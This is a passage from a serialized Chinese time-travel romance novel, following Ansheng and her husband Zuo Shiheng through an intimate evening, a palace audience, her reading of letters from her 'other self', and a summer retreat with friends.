安声微微一颤,睁开眼,眨了眨,脸已红的不成样子,想说点什么,可一对上他眼,便害羞得伏在他胸口笑。 左时珩轻抵她头发蹭了蹭,嗓音低沉,略带笑意:“这就结束了?” 他声音轻柔,落在安声耳畔,是一种有磁性的诱哄,似在刻意撩她心弦。 安声心神几乎失序,完全不敢看他。 “嗯……亲、亲过啦……” “既然亲过了,怎么不去睡觉,还赖在我怀里?” “那就……再亲一下?” 安声搂着他脖子,悄悄抬头,才一落入他视野,便如同落入他彀中。他托起安声的脸,落下温柔细致的吻。 起初安声还十分紧张,慢慢的,被他引导着,竟找到了很舒服的节奏,继而沉浸其中,忘了一切。 他轻轻含住她的唇,轻柔辗转,又往里慢慢缠绵,他有力的小臂箍在安声腰间,将她一直往怀里带,以至于二人亲密无间,几乎没有缝隙。 安声从最初的青涩,到渐入佳境,直至在左时珩给她的节奏里享受起来。她攀紧他的脖颈,仰着头,在被动承受,亦在本能索取。 气息交缠着,被体温蒸腾,隐约有薄汗渗出来,但她无心去管。 只正当意犹未尽之时,左时珩却先停了下来,将她脑袋按在怀里揉了揉,低哑地笑:“好了,已经太晚了。” 安声尚未从那般愉悦中抽离,说话时携着点不满的鼻音:“这就结束了?” 她倒是学的快,反客为主了。 左时珩忍俊不禁,又在她头顶吻了吻,柔声同她解释:“现在并非一个合适的时机。” 安声没听明白,待要再问,身体已先一步觉察出了异常。 她整个人是坐在左时珩怀里的,上半身侧过来紧贴着他,吻了一场,她虽也热,却仍能感觉左时珩此刻的身体是灼烫的,下面似有硬物。 安声立即僵住,一动不敢动。 她未经人事,但上过生物课,该懂的还是懂一点的…… 何况,左时珩为人夫君,都有两个孩子了,与妻子双鸟离分五年,自然某些反应更不可遏。 左时珩察觉出她的情绪,将她散乱的长发捋到耳后,安抚道:“无事,别怕。” 他将安声放下来,神色如常,温声道:“去睡吧,我要处理会儿公务。” 安声躺在床上,脸上的红晕始终没有消退。 她一会儿翻身,一会儿用被子蒙脸,一会儿抱住枕头,几乎在床上扭成麻花。 左时珩则在她走后,长长地叹了口气,在椅子上仰靠了会儿,又去开了窗,打了冷水擦脸,喝了几杯冷茶,直到慢慢降下温,才回到案后处理公务。 他原本答应了安声不出半个时辰便去房里,担心安声紧张,便又练了两刻钟的字才回。 进屋时,安声已睡下了,被子乱乱踢到一旁,抱着个枕头,脸埋在堆叠如云的乌发下。 左时珩将被子给她盖好,乱发轻轻拨开,露出一张瓷白秀妍的脸。 他小心托起她的脑袋,将自己的枕头给她枕着,去纱橱又取了床薄被来,吹了灯,在她身边慢慢躺下,并未再如同之前那般碰她。 他亦是无眠。 自遇她起,虽是表面从容,内心无一刻不在煎熬,担心失而复得,得而复失,又不知要如何更加珍惜她,爱怜她,保护她,因此纵爱她入骨,也无时无刻不小心维持距离,生怕逾矩而让她不安。 只是他也不过世俗人一个,对她有无尽的欲望,哪怕尽力克制也会有失控之时,而当此时,他也慌乱。 静谧夜色,唯有几缕月光探窗而入,映进浅色帷帐,将枕边人勾勒出一道美好的模糊曲线。 左时珩阖上眼,念起曾在一位师父那儿听来的佛经,去灭心中**。 不知第几遍时,他蓦听妻子一声轻轻呓语,唤他的名字。 低而婉转,轻不可闻,却强势盖过心中佛经诵读之声,清晰响于耳畔。 他叹了声,睁开眼。 “左时珩……” 她大约是在做梦,不知梦到他什么,听起来有些难过。 左时珩伸出手,在她背上轻轻拍抚。 许是感到他的存在,安声丢开枕头,蛄蛹进他被子下,又钻进他怀里抱着他,那噩梦似乎也戛然而止了。 左时珩愣了愣,心里柔软不已,将她回拥在怀,与她共会周公- 后日便是进宫谢恩的日子。 安声原对见到封建王朝的帝后期待满满,待大几斤重的命妇朝服压在身上后,热情去了三分之一,还有三分之一在穆诗替她将发髻梳的高高的,戴上礼冠后消退,勉强只剩三分之一留给了好奇心。 左时珩亦着一身朝服,较平日官袍更为繁复庄重,头上戴六梁冠,犀带环腰,上悬云凤彩绶带。 不过他个高挺拔,宽肩窄腰,穿这样的宽大制式十分合适,实在英俊非凡。 他每回早朝时天才刚亮,都是自己起了,穿好官服出门,不会吵醒安声,因此安声还从未像这个时代的妻子一样,替夫君整理过衣冠,她只有在左时珩从衙署回家时,才短短见到他穿官袍的样子。 今日她难得与他起的一样早,不过依然没机会帮他做什么,反倒是左时珩替她里三层外三层地穿好朝服,一一佩好挂饰。 至于发髻,太过复杂,须得交给穆诗。 安声在铜镜前坐了许久,昏昏欲睡时,一顶沉重的翟冠压了下来,给她压醒了。 她看向镜中,金银丝网覆以皂色绉纱,缀满珍珠,顶上有五道珠翟,冠檐又有珠花牡丹,云纹点翠等,两侧四道博鬓如翅伸展,奢华精美。 穆诗还在她两靥与眉心点上珍珠,更添华光。 她赞道:“夫人真是美而尊贵。” 安声扯了扯嘴角:“看来美丽是会付出代价的。” 左时珩走到她身后,抬手握住她双肩轻笑。 “的确很累,待出宫,我就替你在路上摘了它。” 安声虚托着发冠站起转身,看清左时珩一身正装朝服,顿时两眼微微放光:“左时珩,你怎么这么好看。” 左大人故作沉吟,而后正经答道:“想来是夫人光彩照人,我跟着沾光。” 安声想笑,又怕发重掉下来,不得不扶着博鬓,昂首挺胸:“左大人言之有理。” 又向他伸手:“还不快过来,让我好好照照你。” 穆诗在一旁忍笑得发抖。 左时珩却十分配合,依然镇定自若,稳稳握住安声的手:“好,有请夫人出门上轿。” 谢恩队伍一路行至宫门前,便在礼官引导下下轿步行,穿过几道大小宫门,安声皆仰头看了匾额上的字,有些写的当真极好,她很想与左时珩议论,然而眼下气氛太过严肃正式,只得强忍着。 左时珩注意到,与她并行时,虽目不斜视,垂在宽袍下的手却几不可察地在她手心划过,酥酥痒痒的。 安声抿唇浅笑,知他心领神会,便不再分神。 他们随礼官入了乾午宫,向皇帝行了三拜九叩之礼,面读了《谢恩表》上的溢美之词。 安声待听见皇帝说“平身”,才有机会飞快瞥了眼皇帝的长相,皇帝约莫四十,方脸宽额,很中正的长相。 不知是巧合还是必然,轻飘飘一眼却正好与皇帝对视上了。 皇帝笑道:“看来这个女子还是一样胆大。” 安声下意识问:“我吗?” 左时珩忙躬身:“内子年少,若有失礼之处,请圣上见谅。” 皇帝摆摆手,容色颇为轻松,玩笑道:“两个孩子的娘了,也就在你这里‘年少’,不过左卿又何必紧张,朕难道会吃了你的夫人?” 又道:“罢,你们先去翊宁宫拜见皇后吧。” 左时珩便再次行礼,携安声出门,才到门口,又被内侍叫住,安声转身,见内侍送来一副字。 写着“岁岁平安”四字,盖有印章。 “安夫人,圣上赏赐,还不谢恩。” “好的,谢谢皇上的礼物。” 安声接过,躬身行礼。 一路出了乾午宫大门,往翊宁宫去,安声扯着左时珩衣袖,用极低的声音问:“皇上怎么送我这个?” 不赏点金银珠宝什么的。 左时珩亦低声回:“圣上御笔,乃无价之宝。” 安声捏着手里那短短卷轴:“但这字写的……也就还好吧……” 不适合挂在家里,还不能卖钱。 左时珩笑了声,悄悄牵住她手。 很快便到了翊宁宫,又依照礼官指示,拜谢了皇后,皇后端坐正位,一身宫装雍容华贵,望之面善。 等到礼毕,礼官等退下,皇后让人引左时珩去侧殿歇坐,自己才走近安声,执了她手,感慨道:“许久不见啊,安夫人,本宫已听说了你的经历,实在不易,不过回来就好。” 她仔细端详安声后,又笑道:“怎么愈发年轻了呢,看来那神医果然神,若是再遇见,一定引见到宫中来。” 这位皇后虽然和蔼,到底是封建阶级的权力巅峰,安声担心犯错,只是附和应着,没有过多表现。 临走时,皇后也叫她看一幅字,说是自己临摹的,问怎么样。 安声看了几眼,说得委婉:“娘娘不如换个人的字临摹?” 皇后垂首掩笑,说会考虑她的建议,又请她留下一幅字。 安声谦虚说自己字也写得不行,只是看大家看得多,才妄评几句。 不过皇后坚持,她也无法继续推辞,便提笔写了几句在家练习许久的小楷。 她平时练字,也从临摹始,由于很喜欢左时珩的字,又近水楼台,能让他一笔一画甚至手把手指点,便主要临摹他的。 她进步飞快,以至于愈发像他,不过力道不达,更有自己几分潇洒风格。 之后便再无旁事,与左时珩一道出了宫,回去路上换了马车。 左时珩替她摘了发冠珠钗,又耐心去解发髻,边听她将皇后宫中发生的事无巨细讲与他听。 “你说,皇帝夫妻为什么都要我点评书法呢?考我吗?” 左时珩轻笑问她:“那你觉得皇上的字写得如何?” “嗯……像是没什么天赋还要硬写的,丑虽算不上,也算不上书法艺术,不过那几道正门上……嘶……” 她忽然转头,不防几根发丝缠在了左时珩衣襟的玉饰上。 “别动。”左时珩将那几根不听话的发丝慢慢解下,又轻揉了揉她被扯到的头皮,“疼吗?” “不疼。”安声向后仰靠,懒散地倒在他怀里,毫不吝赞叹,“那几道正门的大楷‘南华’‘武定’‘朝阳’,铁画银钩,骨气洞达,笔力千钧,挥斥方遒,实在是极品中的极品!” “那是丘朝开国太祖所书,他是一位造诣极高的书法大家,也是位雄才大略的兵法大家,既有文人之风华妙笔,又有武将之凌厉杀伐。” 左时珩扶起安声双肩,帮她脱去身上繁重的霞帔与大衫,待她放松下来,才将她重新圈入怀中。 “安和帝一直以太祖为榜样,从小练的便是他的字。” 安声目露同情:“……天道酬勤,他再练练吧。”- 敕封诰命后京中许多官员家眷送来贺礼与拜帖,譬如与左时珩来往较多的各级官员,以及成国公府,永国公府等,左府还要设宴回礼,实在麻烦,左时珩未让安声应付这些,将此事从简,交给了穆山去办。 安声除了出面跟各位夫人见面客套寒暄了一番外,什么也没操心。 转眼又是一月过去,夏天已至,时闻蝉鸣。 这期间,岁岁回了两次,阿序回了一次,林雪带女儿来拜访了一次。 又提及天外山,林雪说那也是消暑的好去处,待天热得很了,她可以再与她过去小住,让她将岁岁阿序也带上,她这次只带女儿去。 林雪的继女陈静月,模样清秀,性子安静,不大说话,不过看起来与林雪的关系十分亲近。 因已及笄,家中已为其论起亲事,林雪为此挑了又挑,总不满意。 问静月喜欢什么样的,她便会立即脸红,低声说全凭父母做主。 安声笑道:“你母亲能替你做主,便是能让你自己做主,她替你把关,总要挑一个相处得来的,以后才过得舒心。” 静月则摇摇头,不好意思谈论。林雪也没法,只得说再看一看,若是京中的不合适,就再往京外挑挑,只是她私心希望女儿就嫁在京城,将来还能常见面。 林雪走后,安声在廊下独坐良久。 或许是日子安稳,她习惯了适应了,又或许是她实在很喜欢左时珩,不愿去想来客寺立石殿中的那句话,仿佛她多看一眼,便多一分成真的可能性。 她心知逃避不对,但在一件事千头万绪仍无结果时,人总下意识逃避。 但关于她与“别的安声”的关系,她是想过的。 以她二十四年的全部认知,只能想到一个最接近的“平行世界”理论。 所谓一花一世界,一叶一菩提。 世上不可能有一模一样的两个她,但显然在左时珩、岁岁、阿序,甚至所有认识安声的人眼里,她就是“安声”。 这只有一个可能——她与她不存在区别。 但她又的确没有那段记忆,因而不存在失忆的可能,所以她想,是否有可能世上存在平行世界,每个世界都有安声,她们基本一样,只有不同经历的细微差别,左时珩曾经遇见的,是来自另一个世界的她。 那个她消失在安和四年后,她出现在了安和九年,再次与左时珩相遇。 虽然依旧是安声,但已不再是同一人。 只是在左时珩眼中,除了没有那段记忆,她们并未有何不同,她的的确确是他的妻子。 她甚至直接问过左时珩,问他,他的妻子在消失前,是如何告诉他,她会在安和九年回来一事。 左时珩回应她的内容很简单,“安声”只是告诉他,待安和九年三月,至云水山中寻她,她会再次回到他身边。 不过再次回来的她,可能没有与他曾经相知相守的那五年记忆,这并非是失忆,而是没有。 左时珩其实并不能完全理解这话,但他只需坚信,并等她归家。 她这话让安声更加相信自己的推测,但她无法找到前因后果,亦无法料及将来事,只能在安和九年的岁月长河里,随水逐流。 …… 天愈发热,已有了盛夏的影子。 近一月未下雨,几个州隐约干旱迹象,朝廷为此事繁忙起来,左时珩身为工部尚书,派人去勘察当地水利灌溉,同时兼顾皇陵建造,易文阁修缮等事宜,分身乏术,很是忙碌。 这日,穆诗同她一道将书房整理了,搬了许多书出来,在院里晾晒。 左时珩的书实在是多,除了平日常翻的书籍外,另有收藏的古籍文献,书画信件等,有些存于木箱中许久,已有发霉迹象。 穆诗同她闲聊说笑,也谈及自己的婚事,说安声回来那日,她娘回了老家去,就是为她的亲事。 她们一家在尚书府做事,虽算不上富贵,却有身份名望,在当地有头有脸,连县令都客客气气的。 好几家乡绅地主或者商户小官都有意促成这门亲事,但她都不大乐意。 “为什么呢?”安声问。 穆诗说:“他们都是因为我在尚书府做事,才想要我,假使我不在这里,他们才不在乎,何况,大人与夫人待我一家恩重如山,我可不愿为了他们的利益去让你们为难半点。” 说这话时,穆诗眼里有光,亮亮的,凑近了她,羞涩笑:“其实我也有个意中人,他……他是个书生,家里穷得很,一间破屋两亩薄田,饭都吃不起,但人穷志不短,我相信他将来能考中功名。” 安声讶异,随即笑问:“那,他知道你的心意吗?待你又是怎样?” 穆诗蹙眉,叹道:“我也不知道他是怎么想的,或许他觉得配不上我,故而从未向我表露过什么。” “那你们怎么认识的?” “十年前,我们家遭了难,爹病重,娘带着我上街乞讨,求人买我去做丫鬟,他那时年少,路过时,将买书的钱全给了我们,娘让我跟着他,他却不要我伺候,说他只能养得起自己。” “后来是夫人与大人路过,救了我们一家,替我爹治好了病,还收留了我们在府上,如今日子才越过越好。” 她说几年前才打听到那位好心的书生,他一边给人做工,一边用做工的钱买笔墨纸砚,努力读书,已考上了秀才,他是个“两耳不闻窗外事,一心只读圣贤书”的人,独善其身,至今一人,穆诗去找他时,他已记不得她了,听她提及当年事,他也不过淡淡一笑,说倒也不错。 穆诗送他的银子他只留了当年给她的那一份,其余的都不要。 后来她每次回家,都去找他,见了他大约四五次,他待她态度依旧温和有礼,却也疏离,只怕影响她名声似的。 安声将手上的书一一摊开,迎着明媚的阳光问:“你爹娘是否知道这事?” “知道,但是不大同意,我的年岁也不小了,爹娘觉得,他既无心,我这般等着毫无意义。” 穆诗坐到廊下,托着腮叹气,“夫人,你说我怎么办呢?” 安声在她旁边坐下擦汗:“去问他,直接问他到底是怎么想的,若是他亦对你有情,只是担心给不了你优渥的生活,那是另一回事,要是他本就没那个意思,你还是早早放弃好了。” 穆诗缄默片刻,下定了决心。 “是,我应该去问他,若他不同意,我再想其他办法,倒是不太想直接放弃。” 对上安声清亮的目光,她又忍不住笑起来:“我大抵是受了夫人影响吧,夫人当年喜欢上大人时,大人可不就是个穷书生么?可夫人没有放弃,这才与大人如今百般恩爱,羡煞旁人。” 安声眨了眨眼:“我当时怎么跟你说的?” 穆诗道:“夫人说,对大人一见钟情,步步紧逼,霸王硬上弓,再趁热打铁,直接拿下。” 安声:“……” 第25章 心事 夏天的太阳大,书晒了一个时辰,她们就搬回房里了,摆好了大致的物件,安声让穆诗去忙,自己便一个人在书房里慢慢整理些细枝末节。 左时珩的书房本就整洁,只是书与文具太多,全压在了那座书架上,剩下的便塞进木箱里,而左侧多宝阁分明空余,却除去安声的木雕摆件外,再无旁物。 她的目光一一掠过那些摆件,再次确认自己的确不会什么木雕,于是这个解释还是只能推到“平行时空的另一个安声”上去,虽然都是她,但说起来仍有些奇怪。 于是她收回了视线。 正欲往另一边走,却一不小心,大腿撞到多宝阁突出的沿边上,安声嘶了嘶,低下头,见到下面柜子的门被她撞开了些,索性蹲下来打开看。 里面也是些杂物,不过都用大小木匣装着,比较整齐。 她记得原先第一次在书房写字时,左时珩予她的那支软毫小楷便是从里面拿的。 午后闲来无事,她干脆席地而坐,检阅似的探索起来。 她将那些木匣挨个打开,里面大多还是“她”的东西,譬如有一个木匣装的是木雕的工具,几把刻刀和几块尚未使用的软木料,还有些里面是不同大小的毛笔,图案简单的木刻印章,以及一些各色矿物颜料,看起来像是画画用的。 据说古代的颜料大多昂贵,有些甚至是宝石研磨成粉的,为此安声还特意仔细瞧了瞧,但都是粉末,也瞧不出什么名堂。 而且她不会画画,对颜料本身没有熟悉感。 不过她很快从角落里翻出来两只上了色的动物木雕,便解出了答案——原来这些颜料不是画画用的。 一只上完了色的微笑小狐狸,大概用朱砂加什么调成了橘调,但上完后的效果实在一般,又早已开始剥落,因此斑驳不堪,显得小狐狸笑得很命苦。 另一只是小猫,只给脑袋上了黑色,加了几笔不明显的灰,更是不大好看,仿佛是上毁了所以被自己临时搁置了般。 安声举起那只小猫对着光看,心道“自己”不会是想画狸花猫吧? 看样子果然及时止损得好,起码省点颜料。 这些显然是废品,但都被左时珩珍而藏之。 剩下大多也是些杂七杂八的小物品,有些看得出来是给小孩玩的,像是玩具,也都被与安声的东西收在一起,大约是岁岁和阿序的。 最想不到的是安声竟然还从中找到了木制麻将,只有四个,分别是东南西北,看上面的字迹,是左时珩留下的,她几乎能想象当时左时珩一本正经在麻将上写字的场景,不禁弯起唇角笑。 边看边整理完,安声关上柜门,抬头看了一圈,目光又落在那个装满书信的螺钿木箱上,它被放在书架左侧一个方便取放的位置。 她扶着柜子起身,踮着坐麻的脚一瘸一拐地过去,把那箱子抱了下来,坐到左时珩日常办公的那张黄花梨的书案后,开始阅看。 那次她意外撞见左时珩在读信,左时珩给她看了几封,之后她便没再看了。 去天外山前,她觉得这是隐私,不好开口,下山后她心里有了推论,出于一些逃避心理,更没有再仔细去问。 前段时间林雪来时,与她提及天外山,她再次直面了这件事。 今已盛夏,四季变换中,岁末越发临近,无论她做什么或不做什么,时间长河永远向前,而如果她能做些什么的话,那她拥有的,至多不过几个月罢了。 安声一封封拆了信去看,一百五十六封,她没有都看完,且略过了给儿女的部分,毕竟“她”大概不会在给儿女的信中提及“穿越”的相关信息。 挑出写给左时珩的信,不知有意无意,一共九十九封。 每一封信纸的右下角,皆有一个用朱砂印下的爱心图案,大概就是那木匣中印章的用途了。 她读得很慢,逐字逐句,直到夕阳隐落,房中昏暗,才读完了三十几封,前面的信写得大多很长,只是说一些无关紧要的小事。 但令她有些意外的是,信中无一点悲伤别离之感,也不忆往事,只说将来,既动人又让人期许。 她说,待她回来,岁岁与阿序已经长大,左时珩若再要去外地办差,再远再累她也必定跟去,不想在家担心又受相思之苦。 她说,京城已经逛遍,他们应该要去江南,去塞北,去大漠草原,去看黄河长江,高山雪原,她要对比一下这个世界与她的世界到底有多少不同,又有多少相同。 她说她考虑写一本游记,隐去具体时间人物,留给后世传说,又说游记枯燥,不如写一本传奇,就写他们这段奇妙的相遇。 自然,她什么也来不及写。 如今的安声即便看完,也全无半点闲心去写。 天光被暮色吞没了许多,不离近些,便看不清了。 安声缩在圈椅上,闭眼放空。 烛光幽幽亮起,驱离了屋内的黑暗,拢起一片明亮天地。 左时珩将烛台放在桌角,轻揉她的发,来不及换的官服上还残留着墨味与汗渍。 “怎么不点灯?” 安声抬头,环住他腰,摩挲着他被残阳氲热的革带。 “看着看着就天黑了,懒得去点。” 暑热难消,入夜后更是发闷。 左时珩应声,摸着她的脸:“那便明日再看,我先收拾了,你去饭厅等我,李婶准备了冰酪,房中也置了冰,比这里凉快。” 安声情绪不高,又抱了他一会儿才走。 待她离开,左时珩才将目光落到那些被打开的书信上,修长手指从字面慢慢划过,若有所思。 夜间,安声穿着轻纱半臂里衣,躺在清凉的玉簟上,有些失眠。 许是心里有事未解,所以房中的冰块也难消燥热。 过了会儿,她翻身钻入左时珩怀中。 头顶落下一声低笑:“不怕热了?” “怕热,但就想抱着,不然睡不着。” “好,那便抱着。” 左时珩略调整了下姿势,以便让安声在怀里躺得更舒服些,又伸手向一旁拿了折扇,轻轻给她扇风。 携着冰块蒸发的凉意,这扇底风渐渐让安声心里的烦躁疏解不少。 她虽未读完信,却也猜得出来,剩下的信里也没有提到任何有关这场奇怪穿越的字眼,更未提及半分什么“平行时空”。 她依旧如云遮雾绕,不辨出路。 无力感,是她烦躁的来源。 之前那个“安声”显然知道很多,也可能已经探明真相,却偏偏什么都没留下,到头来,唯一的线索还是只有她不愿直面的那块陨石上的刻字。 “左时珩死”四字,如同诅咒一般笼罩着她。 安声骤然收紧力度,更紧地抱住左时珩,仿佛一松手就会失去似的。 “怎么了?”左时珩柔声问。 安声不语。 片刻,左时珩揉了揉她脑袋:“是因为那些信吗?” 安声闷闷应:“是因为天太热了。” “的确太热了。”左时珩轻笑,“这两日我也要忙完了,会向朝廷告假,然后我们接了岁岁阿序,去天外山避暑吧。” 天外山,天外山,总是避不开的天外山。 安声沉默了会儿,才小声道:“我不想住在来客寺。” 离那块石头太近了,她有压抑感。 “好,那就住在半山腰,那儿有一座避暑山庄,不大,只是略偏,离来客寺有些距离,是文安侯府的产业,我向侯夫人递个帖送个礼,想来是能借住几日的。” 安声趴在他胸前问:“是以前老给你做媒的文安侯夫人吗?” “嗯。” “那我可得把你保护好了。” 左时珩执扇的手顿了顿,笑意又随风漫过。 “是啊,若没有夫人在,我都不敢见她。” “那你总不给她面子,现在又要去求她帮忙,会不会太委屈了?” “若得夫人怜惜,倒也不觉得委屈。” 左时珩每次用近似撩拨或撒娇的语气说这种话,安声都招架不住。 他故意的,而且很会拿捏时机。 于是安声忍不住,抬头亲了亲他,耳畔落了一声得逞的笑。 不知是扇底风清凉,还是他身上香气清冷,安声心中盘桓的那几缕燥热,竟在这三言两语间完全散去了。 待她睡熟后,左时珩轻轻抱她躺到一旁,自己则下了床,端了坛药酒来。 这是安声上次去松下书院看阿序时带回来的,说是活血化瘀,之前宜州一行,他身上有多处淤青,安声便用药酒替他揉搓,功效不错。 方才妻子躺在怀里,他无意碰到她腿,她下意识缩了下,他担心她磕碰到,睡前须得检查一番才能放心。 点了小烛,左时珩轻卷起妻子裤脚,果在她左边大腿处见了块淤青。 安声并不娇气,若他未发现,她大约也就随它去了。 左时珩蹙起眉,难掩眸底心疼,便取了点药酒,用掌根温柔缓慢地揉着那块伤处,事毕才重新躺下。 安声睡得熟,毫无察觉,他望着夜色中安声的眉眼,却久久无法入眠。 从前,他们夫妻虽已彼此坦诚至极,可他总觉得妻子有一份隐秘心事没有告诉他,她不擅长在他面前伪装,他亦十分了解她。 但他,问不出来。 直至有一日,他毫无征兆地失去了她…… 如今,她似乎又有了不与他言说的心事。 炎炎夏夜,左时珩觉得浑身的血都透着寒气,不由贪恋地摸摸妻子的脸,再亲亲她,才能从这般真实的体温与气息中,稍寻安慰—— 作者有话说:和大家说一下,因为明天上夹(书架左上角新书千字榜),所以明天九点的更新会推迟至十一点,之后还是正常九点左右[好的] 感谢支持[烟花][猫爪]年底工作忙,一般是摸鱼写点儿,不过会尽力加更的,本文其实篇幅不长,大概三十多万,应该会在年前完结[饭饭]希望与大家一起度过一个美好的冬天[烟花] 第26章 山中 到了七月中,是最热时节。 左时珩前几日与安声说要告假避暑,这两日便派了人去接岁岁和阿序,结果令安声意外的是,一个也没接回来。 阿序她知道,他不但忙着明年会考,还要趁那位江湖游医在京,分神去学医术,但岁岁竟也拒绝了。 穆诗去接的,回来说小姐觉得爹爹与娘亲两个人去就好,还说特意嘱咐她,把哥哥也拦下来不准去。 安声失笑摇头,不过心里很受触动。 但到了出发时,倒也不止他们两人。 林雪之前说要与她去天外山避暑,没道理她与左时珩两人去了,却不告诉她,于是给她递了信。 林雪听说是在文安侯家的避暑山庄,那里住着宽敞,比来客寺舒服得多,不用听那些和尚念经,也没有烟熏火燎的檀香,很是乐意。 只是安声夫妻一道,她不便独自同行,于是想让夫君与女儿一起,对此陈尚书一口回绝,说事务繁忙,让静月陪母亲去,宝儿留在家里,省得闹腾。 但陈静月不愿见母亲失望,于是劝说了父亲去陪母亲,自己则与弟弟留在家中。 陈大人这个女儿很少一向娴静少言,极少向父亲要求什么,这次开口竟是为了继母,陈大人心里倒是十分欣慰,便答应了。 于是天山外的避暑山庄一下住进去两位二品大员及其家眷,惊得文安侯府多派了好些下人过去伺候,生怕有什么不周到的地方。 这动静有些隆重,冯国舅听说了也要去,没什么热闹是他不想凑的,幸而被别的事耽搁了没去成。 安声暗松了口气。 安声与左时珩先林雪他们一日出发,提前便有文安侯府的下人随行引路,路上她见左时珩神色无奈,便忍不住调侃。 “哟,左大人,出来玩不开心啊?” 左时珩伸手揽她入怀,抵在她发间叹气。 “除岁岁阿序外,原想的是我夫妻二人,还特意请文安侯夫人不必盛情,不必声张,如今这架势,只怕难得清静。” 安声道:“关起门来还是我们两个人。” 左时珩点头:“好,一到那儿我就把门关上。” 煞有介事的语气让安声伏在他肩头笑个不停。 左时珩抱着她,原先眼底几分无奈尽化为宠溺笑意。 阿声既爱清静也爱热闹,或许,这样倒也不错。 况且,她有心事,林夫人是她至交好友,若她不愿意与他说,却能向她袒露些,则更是好事。 那山庄建在半山腰,虽不能与宅子比,却算很大了,安声他们一到,门口便早已迎了许多人,有些乱,须等管事发了话才安静下来。于是侯府来的管事便讪讪去看贵客脸色,见左大人神色如常,夫人笑意盈盈,才放下心,亲自引他们去了住处。 左时珩特意与管事吩咐,除去必要餐饮洒扫外,他们院里无须人伺候,出入也无须人跟着,管事虽纳罕惊诧,却也一一记下,离开时还将院门贴心带上了。 关起门来,果然自成一番天地。 山庄依山而建,随山就势,与城中对称的建筑不同,这里的建筑是根据山体起伏而形成高低错落,山中有庭院,院中有山水。 左时珩执了妻子的手穿过后院竹林,登上一座地势较高的小亭,此处可俯瞰山庄小半景色。 安声踩上围栏,踮起脚往四周看:“好大,挡住了很多,看不全。” 左时珩扶着她腰,耐心解释:“这种山庄的特点便是因地制宜,不求宏大张扬,而是藏在山水之间,人在其中,每行几步,所见景色皆不相同,无法窥见全貌。” “那就有种‘柳暗花明又一村’的感觉了。” “是。”左时珩笑笑,“与自然融为一体,是建筑上追求的一种天人合一的境界——‘虽由人作,宛自天开’,这座山庄的建造者已不可考,不过造诣很高。” “那跟你比呢?” “我远不如。” “可是我觉得你最厉害,什么都懂。”安声笑着转身直接扑进他怀里。 左时珩稳稳抱住她,惯性后退半步,摇了摇头,眼底浮起笑。 “竟不说一声,万一我接不住呢?” 安声指着那远处山景,一副指点江山的气势。 “那我们就一同埋入此山,化为两棵树,根,紧握在地下,叶,相触在云里,每一阵风过,我们都相互致意……中间忘了,但这——” 她捧起他的脸,笑意明亮:“这才是伟大的爱情,不仅爱你伟岸的身躯,也爱你坚持的位置,足下的土地。” 左时珩墨睫轻垂,目光温柔,他静静望着自己的妻子,心想世上再没有人比得上她,哪怕一根发丝,一片衣角都令他如此心颤。 这里只有他们,以及雾霭与流岚。 他胸中爱欲奔涌,早已失了冷静,也失了言语,只凭本能去低吟她的名字,用深吻回应她。 — 林雪与陈大人翌日到了,就住在他们隔壁院里,若关起院门,还有小径通行。 他们带的下人多些,当天收拾好便有些晚了,便都没往山庄外去。林雪也难得与夫君一道出游,还不用管孩子,不由心情万分舒畅。 于是对丈夫说:“我们尚书去找尚书,夫人去找夫人好吗?我有话要和安声说,不能陪你。” 陈尚书面无表情:“你自便。” “我自便。”林雪转身就走了,留陈大人在身后黑着一张脸,心道真是把她骄纵得无法无天,眼里一点没有尊重。 林雪穿过小径来找安声,左时珩见状便笑道:“先前见你们院中有棋桌,我正好想与陈大人手谈一局。” 说罢与安声低语了几句,往林雪他们院中去了,留下空间给她们独处。 林雪羡慕不已:“安声,你快给我传授传授你的御夫之道啊。” 安声笑:“左时珩本来就很好啊,我哪需要什么御夫之术啊。” “那我们陈律师需要,脾气差得要命,我方才过来你这儿他还与我生气呢,只是我没理他,只怕晚上要折磨我了。” 安声:“……”不是她理解的那个折磨吧。 但林雪没放过她的意思,提起这个话题,便顺势聊了下去,向她抱怨陈大人不懂得温柔,常弄得她一身痕迹,宝儿还小自然不懂,可静月却已理解男女之事了,若她没遮掩好,被她见到,她便低下头红透了脸,甚至飞快逃走。 安声听着,也有点想逃走。 林雪拉着她坐下,问:“你呢?” 安声这院中无人,她简直肆无忌惮。 安声慢慢捂住脸,不发一言。 林雪奇怪:“怎么了?以前你不这样,是害羞了还是与我生分了?我云英未嫁时你就敢与我说这些了,现在怎么反倒矜持起来?” 安声震惊,分开指缝看她:“什么!……你嫁人之前我就跟你说这些?” 另一个她到底怎么想的? “是啊,若不是你,我还以为男人与女人只要盖一张被子就能生出小孩来呢,哪里知道还有那么多花样。” “……花样?这……这也是我教的?” 安声有些难以置信,还有些无地自容。 “那倒不是,不过我嫁与陈律后,我们倒是讨论过,你真是一点都不记得了?” 安声讪笑两声,不得不拿了扇子来扇风,方才林雪那几句,将她的汗都说出来了。 这定非她性格所为,看来另一个世界的安声与她真是不同。 林雪抢了她的扇子,眼神关切、担忧,还有些促狭:“我的声儿,左大人不会大不如前了吧?你真是受苦了,不过也能理解,毕竟病了许久。” 安声:“……”恨不得以头抢地。 不过为了维护左时珩的尊严,她顶着一张红透了的脸,对她严肃纠正:“不存在这种事,左时珩非常完美。” 那边左时珩与陈律下了局棋,交谈了会儿政事,还未分出胜负就见林雪往这里回,便立即认输,起身告辞。 陈律不悦:“左大人这般急着走,是故意让我?觉得再下下去我会输?” 左时珩笑道:“哪里,是我离不开夫人,不放心她一人。” 待他走了,林雪对上陈尚书视线,先发制人:“夫君可听见了?” 陈律将棋子往盒中一扔,反问:“听见什么?我看你倒挺放心我的。” 林雪瞪他:“我有什么不放心的,我们院里七八个人呢。” 陈律:“……”- 山中清凉,夜晚更甚,较京中舒适得多。 左时珩在屋角点了几处熏蚊虫的香,便回到屋内,见安声抱着枕头,屈一条腿坐在床上,轻薄里衣还慵懒滑下半截,露出雪白香肩,目光灼灼地望着他。 他怔了下,不由轻笑:“自林夫人走后,我就总觉得你有话想问我,酝酿了几个时辰了,还没想好如何开口?” 安声抱着枕头向前栽倒蜷缩起来。 天呐……这种事情到底要怎么开口啊…… 身体一轻,她整个人被左时珩“端”进怀里,笑意沉沉落在耳边。 “既这样,我倒愈发好奇是何事了。” 安声不敢抬头,一只手却敢不老实,闭眼在他身上乱摸。 至敏感处,被他一把扼腕,低声:“……嗯?” 他气息有些不稳起来,掌心温度熨帖着安声腕处微凉的肌肤,酥酥麻麻。 “左时珩……” 安声一鼓作气,猛地抬头,直跌入他幽深的眸。 “要不……我们试试?” 